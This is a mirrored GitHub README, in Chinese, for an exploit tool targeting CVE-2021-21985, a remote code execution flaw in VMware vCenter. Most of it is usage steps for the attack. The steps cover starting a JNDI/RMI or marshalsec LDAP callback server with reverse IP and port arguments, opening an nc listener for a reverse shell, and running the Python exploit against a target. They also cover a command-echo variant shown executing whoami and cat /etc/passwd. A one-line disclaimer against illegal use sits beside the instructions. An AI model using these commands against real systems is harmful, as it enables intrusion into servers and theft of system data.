Giter Club home page Giter Club logo

cve-2021-21985's Introduction

CVE-2021-21985

CVE-2021-21985 EXP

本文以及工具仅限技术分享,严禁用于非法用途,否则产生的一切后果自行承担。

0x01 利用Tomcat RMI RCE

1. VPS启动JNDI监听 1099 端口

rmi需要bypass高版本jdk

java -jar JDNIInjection-Bypass.jar <lport> <reverse_ip> <reverse_port>

1623233465680

1623233424934

或者利用ldap协议(未测试)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/#Exploit

ldap://ip:port/Exploit
2. VPS启动nc监听 8443 端口
nc -lvp 8443
3. 执行python脚本
python3 CVE-2021-21985_exp.py <target> <rmi://ip/class>
示例

help

1622714607456

RCE!

1622714842489

1622714789875

0x02 构造可回显RCE

原理:
1. 构造 xml文件
2. 压缩成zip
3. 注入SystemProperties
4. 通过getProperty获取内存中命令结果
执行CVE-2021-21985_echo.py
python3 CVE-2021-21985_echo.py https://x.x.x.x <cmd>

1622881866672

执行 whoami

1622881901956

执行 cat /etc/passwd

1622881962709

Reference

https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis

http://noahblog.360.cn/vcenter-cve-2021-2021-21985/

cve-2021-21985's People

Contributors

r0ckysec avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.